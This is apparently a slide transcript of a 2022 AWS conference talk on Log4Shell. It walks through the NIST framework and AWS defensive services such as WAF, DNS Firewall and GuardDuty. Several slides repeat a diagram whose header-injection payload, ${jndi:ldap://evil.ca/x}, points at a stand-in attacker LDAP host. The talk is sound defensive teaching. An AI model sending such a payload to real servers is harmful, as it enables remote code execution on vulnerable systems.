Log4Shell - Lessons learned

In der Vorweihnachtszeit wurden viele IT-Abteilungen von Sicherheitslücken im weitverbreiteten Java-Logging-Framework Apache Log4J kalt erwischt. Diese Session fasst das Ereignis zusammen und beantwortet die folgenden Fragen, um zukünftig in ähnlichen Situationen schneller reagieren zu können:

- Welche Möglichkeiten bieten Web, DNS und Netzwerk-Firewalls, um eine Ausnutzung derartiger Lücken zu verhindern?
- Welche Tools kann ich nutzen, um bspw. mit Hilfe automatisierter Scans und Analysen des Netzwerkverkehrs festzustellen, welche Bestandteile meiner IT-Infrastruktur betroffen sind?
- Wie kann ich mit Legacy-Anwendungen umgehen, die ich nicht aktualisieren kann?
- Wie sollte ich mein Deployment und Betriebsabläufe modernisieren, um Patching zukünftig schneller realisieren zu können?

Transcript

1. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Log4Shell - Lessons learned Dennis Kieselhorst Sr. Solutions Architect Amazon Web Services
2. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Agenda • Zero-Day? • Log4j Zero-Day, reactions and common themes • Proactive measures aligned to the NIST Cybersecurity Framework • Identify • Protect • Detect • Respond • Recover • Quick Wins & Long Term Strategies • Q&A
3. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Zero-Day? 3
4. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. A zero-day is a computer-software vulnerability previously unknown to those who should be interested in its mitigation, like the vendor of the target software. Wikipedia https://en.wikipedia.org/wiki/Zero-day_(computing) 4
5. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Log4j Zero-Day 5
6. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Log4j JNDI vulnerability Vulnerable Server http://victim.xa Attacker The LDAP server responds with directory information that contains the malicious Java class Malicious LDAP Server ldap://evil.xa An attacker inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: victim.xa User-Agent: ${jndi:ldap://evil.ca/x} Log4j interpolates the string and queries the malicious LDAP server ${jndi:ldap://evil.ca/x} ldap://evil.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://evil.xa javaSerializedData: <...> Vulnerable Log4j implementation Java deserializes (or downloads) the malicious Java Class and executes it. 1. 2. 3. 4. 5.
7. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Log4j related CVE records The Common Vulnerabilities and Exposures (CVE) programs mission is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. Dictionary entry Description Score (CVSS/ EPSS) CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95,10% CVE-2021-44832 remote code execution (RCE) possible in combination with JDBC Appender 6.6 Medium 68,64% CVE-2021-45046 fix to address CVE-2021-44228 was incomplete 9.0 Critical 71,95% CVE-2021-45105 denial of service possibility when a crafted string is interpreted 5.9 Medium 33,57% The Common Platform Enumeration (CPE) is a structured naming scheme in XML format for IT systems, software, and packages. This formal format allows checking and testing.
8. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Immediate AWS customer reactions How do I figure out if this is in my environment? Is AWS using Log4j? Which version? Which AWS services are affected? Should I get rid of Open Source software? How do I protect my environment? How do I remediate across my environment?
9. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Two other Zero-day examples besides Log4j Confluence (CVE-2022-26134) Atlassian Confluence is a web-based corporate wiki software/ collaboration platform. The vulnerability allows an unauthenticated user to execute arbitrary code. Insufficient input validation leads to Object-Graph Navigation Language (OGNL) evaluation. Spring4Shell (CVE-2022-22965) Spring is a famous framework for Java-based enterprise applications. Web applications may be vulnerable to remote code execution (RCE) when deployed as web application archive (WAR) on Tomcat. The issue relates to data binding used to populate an object from request parameters (either query parameters or form data).
10. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. What did these have in common? Crafted traffic caused systems to respond with sensitive data Actors used these vulnerabilities to gather credentials or execute commands remotely Widely used technology requiring widespread patching to address issue Persistence techniques were commonly used after initial compromise
11. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. OWASP Top10 Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021 Creative Commons Attribution-ShareAlike 4.0 International Public License
12. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Proactive measures aligned to the NIST Cybersecurity Framework 12
13. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. NIST CSF Overview • Framework for Improving Critical Infrastructure Cybersecurity • Initially published by The National Institute of Standards and Technology (NIST) in 2014. • Framework Core consists of five concurrent and continuous Functions to provide a high-level, strategic view of the lifecycle of an organization’s management of cybersecurity risk. RECOVER IDENTIFY RESPOND PROTECT DETECT
14. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Identify Develop the organizational understanding to manage cybersecurity risk to systems, assets, data, and capabilities. RECOVER IDENTIFY RESPOND PROTECT DETECT
15. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Configuration management Inventory and configuration management • What is currently out there? • What is the latest configuration state of my resources? • What relationships exist between my resources? • What configuration changes occurred in the past? • Which resources have violated compliance policies? Governance and compliance management • Are my resources properly configured? • Do my resources comply with regulatory requirements • How do I ensure continuous compliance? • How can I get notified in near real-time if resource(s) go out of compliance? 15 Changing resources AWS Config Normalized AWS Config rules Notifications API access History, snapshot Example:
16. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Infrastructure as code (IaC) Reliably and consistently provisioning and configuring infrastructure is foundational for DevOps and fast software delivery Manual infrastructure processes can lack consistency, a single source of truth, and reliable detection/remediation of provisioning errors Examples: AWS CloudFormation, AWS CDK, HashiCorp Terraform
17. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Software dependency management Software bill of materials (SBOM) • inventory of components used to build a software architect • formal and machine-readable metadata • provide transparency in software supply chain Software Package Data Exchange (SPDX) • open standard for communicating SBOM information • ISO/IEC 5962:2021 17
18. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Log4j JNDI vulnerability Vulnerable Server http://victim.xa Attacker The LDAP server responds with directory information that contains the malicious Java class Malicious LDAP Server ldap://evil.xa An attacker inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: victim.xa User-Agent: ${jndi:ldap://evil.ca/x} Log4j interpolates the string and queries the malicious LDAP server ${jndi:ldap://evil.ca/x} ldap://evil.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://evil.xa javaSerializedData: <...> Vulnerable Log4j implementation Java deserializes (or downloads) the malicious Java Class and executes it. 1. 2. 3. 4. 5.
19. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Protect Develop and implement the appropriate safeguards to ensure delivery of critical infrastructure services. RECOVER IDENTIFY RESPOND PROTECT DETECT
20. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Network, DNS and Web Application Firewalls Network Firewall Packet filtering • IP block/ allow lists • Stateless/ stateful rules • FQDN filtering on HTTP/HTTPS • Protocol detection/ enforcement DNS Firewall DNS Filtering • Domain name based filtering • Custom deny actions (NXDOMAIN, OVERRIDE, NoData) • Filtering on Resolver and Resolver Endpoints Web Application Firewall (WAF) Request filtering • SQL injection and cross-site scripting (XSS) attack detection • OWASP Top10 web application vulnerabilities • Bot protection and IP reputation list • Pattern matching (Regex) • Rate-limiting 20 AWS Network Firewall AWS Route 53 Resolver DNS Firewall AWS WAF Example services:
21. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Log4j JNDI vulnerability Vulnerable Server http://victim.xa Attacker The LDAP server responds with directory information that contains the malicious Java class Malicious LDAP Server ldap://evil.xa An attacker inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: victim.xa User-Agent: ${jndi:ldap://evil.ca/x} Log4j interpolates the string and queries the malicious LDAP server ${jndi:ldap://evil.ca/x} ldap://evil.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://evil.xa javaSerializedData: <...> Vulnerable Log4j implementation Java deserializes (or downloads) the malicious Java Class and executes it. 1. 2. 3. 4. 5. Block incoming request Block outgoing query
22. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Detect Develop and implement the appropriate activities to identify the occurrence of a cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
23. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Logging (Observability) • Record all environment activity • Monitor IP traffic in and out of network interfaces • Monitor DNS traffic using DNS resolver (like Route 53) • Collect metrics in Cloud (on AWS) and on premises. Amazon CloudWatch DNS Resolver query logging Flow logs AWS CloudTrail Example services:
24. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Tools for scanning and analysis • Based on log data sources: ▪ Enable continuous monitoring and analysis ▪ Use threat intelligence feeds and machine learning to detect unauthorized activity ▪ Simplify forensics • On virtual machines and container images: ▪ Discover vulnerabilities ▪ Prioritize patch remediation • Inside application source code: ▪ Proactively improve code quality ▪ Fix security vulnerabilities 24 Amazon GuardDuty Example services: Amazon Inspector Amazon CodeGuru
25. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Respond Develop and implement the appropriate activities to take action regarding a detected cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
26. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Foundation of Incident Response • Educate your security operations and incident response staff. • Prepare your incident response team to detect and respond to incidents by enabling detective capabilities, and ensuring appropriate access to the necessary tools and services. • Simulate both expected and unexpected security events within your cloud environment to understand the effectiveness of your preparation. • Iterate on the outcome of your simulation to improve the scale of your response posture, reduce time to value, and further reduce risk. 26
27. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Playbooks/ Runbooks • Establish formalized incident response processes • Can also help to comply with regulatory frameworks (like GDPR) • Don‘t have any? Dive in… • Resources: ▪ https://github.com/aws-samples/aws-incident-response-playbooks ▪ https://github.com/aws-samples/aws-customer-playbook-framework ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident- response-guide/welcome.html 27
28. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Automation Speed Deploy many times a day instead once every few months Repeatability Never send a human to do a machine’s job. Humans are error-prone Confidence If you’re not sure whether it’ll work, you’ll hesitate. That slows you down and keeps you from fixing problems Transparency Automated processes are easier to measure and improve
29. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Example: AWS Developer Tools for modern software delivery DEPLOY TEST BUILD SOURCE/ ARTIFACT AUTHOR AWS Cloud9 AWS IDE Toolkits AWS CodeBuild AWS CodeCommit AWS CodeDeploy AWS CodeBuild + Third Party AWS CodePipeline MODEL AWS CloudFormation AWS SAM AWS Cloud Development Kit AWS CodeArtifact
30. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Example: AWS Systems Manager E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S Group Resources Create groups of resources across different AWS services, such as applications or different layers of an application stack Take Action Respond to insights and automate operational actions across resource groups. Visualize Data View aggregated operational data by resource group AWS Systems Manager Systems Manager helps you safely manage and operate your resources at scale
31. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Log4j JNDI vulnerability Vulnerable Server http://victim.xa Attacker The LDAP server responds with directory information that contains the malicious Java class Malicious LDAP Server ldap://evil.xa An attacker inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: victim.xa User-Agent: ${jndi:ldap://evil.ca/x} Log4j interpolates the string and queries the malicious LDAP server ${jndi:ldap://evil.ca/x} ldap://evil.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://evil.xa javaSerializedData: <...> Vulnerable Log4j implementation Java deserializes (or downloads) the malicious Java Class and executes it. 1. 2. 3. 4. 5. Block incoming request Block outgoing query Patch log4j Disable JNDI lookups Disable log4j Disable remote codebases
32. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Recover Develop and implement the appropriate activities to maintain plans for resilience and to restore any capabilities that were impaired due to a cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
33. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Strategies for disaster recovery Backup & restore Pilot light Active/active Warm standby RPO / RTO: Hours RPO / RTO: 10s of minutes RPO / RTO: Minutes RPO / RTO: Real-time • Lower-priority use cases • Provision all AWS resources after event • Restore backups after event • Cost $ • Data live • Services idle • Provision some AWS resources and scale after event • Cost: $$ • Always running, but smaller • Business critical • Scale AWS resources after event • Cost $$$ • Zero downtime • Near-zero data loss • Mission Critical Services • Cost $$$$ Active/passive strategies
34. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Quick Wins & Long Term Strategies 34
35. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Quick Wins • Implement basic egress controls, e.g. DNS Firewall • Implement tools like Amazon GuardDuty across your organization • Use managed WAF Rules (as provided e.g. in AWS WAF) • Use Network Address Control Lists (NACLs) to control traffic
36. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Long Term Strategies • Determine risk across environment to drive priorities • Define process for fleet wide patching • Identify and enable a quick response team from across your organization • Get rid of unneeded (transitive) dependencies inside your applications • Develop and test playbooks for patching and response
37. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. © 2022, Amazon Web Services, Inc. or its affiliates. Q&A 37
38. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Resources • AWS Log4j2 security bulletin: https://aws.amazon.com/security/security-bulletins/AWS-2021- 006/ • AWS Blog post: https://aws.amazon.com/blogs/security/using- aws-security-services-to-protect-against-detect-and-respond-to- the-log4j-vulnerability/ 38
39. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED © 2022, Amazon Web Services, Inc. or its affiliates. Thank you! © 2022, Amazon Web Services, Inc. or its affiliates. Dennis Kieselhorst linkedin.com/in/kieselhorst/